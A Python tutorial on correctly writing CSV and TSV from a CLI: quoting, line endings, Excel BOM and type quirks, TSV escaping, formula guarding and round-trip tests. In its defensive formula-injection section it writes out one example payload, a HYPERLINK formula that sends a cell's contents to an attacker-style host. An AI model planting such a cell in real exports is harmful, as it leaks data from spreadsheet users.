Writing CSV and TSV Output Correctly from a Python CLI

CSV looks like the easiest format a CLI can offer: join the values with commas, join the rows with newlines, done. Then a customer name contains a comma, a note contains a newline, someone opens the file in Excel and sees é where é should be, and a security review points out that a cell beginning with = runs as a formula. TSV has its own version of the same story with shell tools. This guide writes both formats properly with the standard library's csv module, covers the decisions the module cannot make for you, and finishes with tests that prove the output parses. It belongs to the output formats topic, and assumes records shaped as in adding a format flag.

Prerequisites

• Python 3.10+; everything here uses the standard library.
• A command that produces a list of dictionaries and a column list.
• A spreadsheet application to check the result by eye at least once — Excel, LibreOffice Calc or Google Sheets behave differently in small ways.

Why string joining fails

The csv module exists because the format has rules that are easy to get almost right. A value containing the delimiter, a double quote or a line break must be wrapped in double quotes, and any double quote inside it doubled. A reader then has to track whether it is inside a quoted field to know whether a newline ends the record.

",".join(values) gets none of that right, and the bugs only appear with real data. Always write through csv.writer or csv.DictWriter, and always read back with csv.reader in tests.

The CSV recipe

# src/fleet/tabular.py
from __future__ import annotations

import csv
import io
import json
from collections.abc import Iterable, Sequence
from typing import Any

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")


def cell(value: Any, *, guard_formulas: bool = False) -> str:
    """Turn one value into the text of one cell."""
    if value is None:
        return ""
    if isinstance(value, bool):
        return "true" if value else "false"
    if isinstance(value, (list, dict)):
        return json.dumps(value, separators=(",", ":"), ensure_ascii=False)
    text = str(value)
    if guard_formulas and text.startswith(FORMULA_PREFIXES):
        return "'" + text
    return text


def to_csv(rows: Iterable[dict[str, Any]], columns: Sequence[str], *,
           guard_formulas: bool = False) -> str:
    buf = io.StringIO(newline="")
    writer = csv.writer(buf, lineterminator="\n")
    writer.writerow(columns)
    for row in rows:
        writer.writerow([cell(row.get(c), guard_formulas=guard_formulas) for c in columns])
    return buf.getvalue()

The cell() function makes the type decisions explicit instead of leaving them to str():

• None becomes an empty cell, not the string None. A spreadsheet user reads an empty cell as "no value"; None reads as data.
• Booleans become true/false, matching the JSON output, rather than Python's True/False.
• Nested values become compact JSON inside the cell. That is lossless and parseable. The alternative — flattening to owner.name, owner.email columns — is often nicer but needs a fixed schema; choose per command, not per value.
• Formula guarding is opt-in. More on that below.

The line terminator deserves its own note. RFC 4180 says CRLF, and csv.writer defaults to it. Excel and the Python reader accept either, but wc -l, diff and grep on Unix see \r as part of the last field. A CLI whose CSV is mostly consumed by scripts should write \n; one whose CSV is mostly opened in Excel on Windows can keep the default. When writing to a file, open it with newline="" so Python does not translate line endings a second time.

Spreadsheet quirks

Spreadsheets are the main reason people ask for CSV, and they add three problems the format itself does not have.

Encoding. Excel on Windows opens a UTF-8 CSV as the legacy ANSI code page unless the file starts with a byte order mark. Writing with encoding="utf-8-sig" adds the BOM; LibreOffice and Google Sheets ignore it, but jq-style tools and some CSV parsers treat it as part of the first header. Offer it for files, not for stdout: --excel or an export command that writes utf-8-sig, and plain UTF-8 everywhere else.

Type guessing. Excel turns 00123 into 123, 1-2 into a date and a long numeric ID into scientific notation. There is no portable way to stop it from inside a CSV. Document the behaviour, or for identifiers that matter offer an .xlsx export via openpyxl where cells can be typed as text.

Formula injection. A cell starting with =, +, - or @ is evaluated as a formula when the file is opened. If any column contains text that came from users — names, comments, ticket titles — a malicious value such as =HYPERLINK("http://evil.example/?"&A1, "click") runs on the reader's machine. The OWASP recommendation is to prefix such cells with a single quote. That alters the data for programs, so the safe policy is: guard when exporting for spreadsheets, leave values untouched for machine pipelines.

def export_for_spreadsheet(path, rows, columns):
    text = to_csv(rows, columns, guard_formulas=True)
    with open(path, "w", encoding="utf-8-sig", newline="") as fh:
        fh.write(text)

The TSV recipe

TSV serves a different reader: the shell. cut -f2, awk -F'\t', sort -t$'\t' -k3 and while IFS=$'\t' read -r a b c all split on tabs and know nothing about quoting. So TSV output must guarantee that tabs and newlines never appear inside a field. The convention used by PostgreSQL's COPY and by mysql --batch is backslash escaping:

# src/fleet/tabular.py (continued)
_TSV_ESCAPES = str.maketrans({"\\": "\\\\", "\t": "\\t", "\n": "\\n", "\r": "\\r"})


def to_tsv(rows: Iterable[dict[str, Any]], columns: Sequence[str], *,
           header: bool = True) -> str:
    lines = []
    if header:
        lines.append("\t".join(columns))
    for row in rows:
        lines.append("\t".join(cell(row.get(c)).translate(_TSV_ESCAPES) for c in columns))
    return "\n".join(lines) + ("\n" if lines else "")

Offer a --no-headers flag for TSV — shell loops rarely want the header line, and tail -n +2 everywhere is tedious. Some tools go further and make TSV header-less by default; whichever you choose, keep it consistent across commands.

Reading CSV back in

Tools that export CSV are often asked to import it too — "edit the spreadsheet, then load it back". The same rules apply in reverse: open files with newline="" and encoding="utf-8-sig" (which strips a BOM if present and is harmless otherwise), read with csv.DictReader, and validate every row before acting on any of them, reporting the line number of the first bad row. reader.line_num gives the physical line, which accounts for quoted newlines. If you guarded formulas on export, strip the leading apostrophe on import only for cells that start with '=, '+, '- or '@, so values that legitimately begin with an apostrophe survive.

UX considerations

• Keep column names identical to JSON keys. A user who learns cpu from -o csv should be able to write jq '.cpu'.
• Fix the column order to the selected fields, not dictionary order, so scripts can rely on cut -f3.
• Stream large results. Both writers above work row by row; for big exports, write each row straight to the output instead of building one string, so memory stays flat.
• Do not localise numbers. A decimal comma breaks every parser. If users in comma-decimal locales want semicolon-separated files for Excel, offer --delimiter ';' rather than changing the number format.
• Mention formula guarding in the help text of the export command, so nobody is surprised by a leading apostrophe.

Testing the behaviour

Round-trip tests are the strongest check: write awkward values, parse them back with the standard library, and compare. They catch quoting bugs without hard-coding escape sequences into assertions.

# tests/test_tabular.py
import csv
import io

from fleet.tabular import to_csv, to_tsv

NASTY = [
    {"name": 'Ann "the admin"', "note": "a, b\nc", "tags": ["x", "y"], "n": None},
    {"name": "=SUM(A1:A9)", "note": "tab\there", "tags": [], "n": 3},
]
COLS = ["name", "note", "tags", "n"]


def test_csv_round_trips():
    parsed = list(csv.DictReader(io.StringIO(to_csv(NASTY, COLS))))
    assert parsed[0]["name"] == 'Ann "the admin"'
    assert parsed[0]["note"] == "a, b\nc"
    assert parsed[0]["tags"] == '["x","y"]'
    assert parsed[0]["n"] == ""


def test_formula_guard_only_when_asked():
    plain = list(csv.reader(io.StringIO(to_csv(NASTY, COLS))))
    guarded = list(csv.reader(io.StringIO(to_csv(NASTY, COLS, guard_formulas=True))))
    assert plain[2][0] == "=SUM(A1:A9)"
    assert guarded[2][0] == "'=SUM(A1:A9)"


def test_tsv_has_one_line_per_record_and_fixed_field_count():
    lines = to_tsv(NASTY, COLS).splitlines()
    assert len(lines) == 3
    assert all(len(line.split("\t")) == 4 for line in lines)
    assert lines[2].split("\t")[1] == "tab\\there"

The TSV test asserts the property the shell depends on — exactly one line per record and a fixed number of tab-separated fields — rather than the exact escaping. Add one command-level snapshot per format, as in snapshot testing CLI output, and a property-based test with Hypothesis generating arbitrary text if CSV is a core feature of your tool.

Conclusion

Write CSV with the csv module and TSV with explicit escaping, decide once how None, booleans and nested values become cells, and treat spreadsheet friendliness — the BOM, formula guarding — as an export concern rather than a property of every CSV the tool prints. Round-trip tests then keep the output honest as the data gets stranger.

Frequently asked questions

Related

• Up: Output formats for data-heavy Python CLIs
• Adding a format flag for table, JSON and CSV
• Exporting CLI results to files
• Fixing Unicode and encoding errors on Windows
• Processing large files and NDJSON streams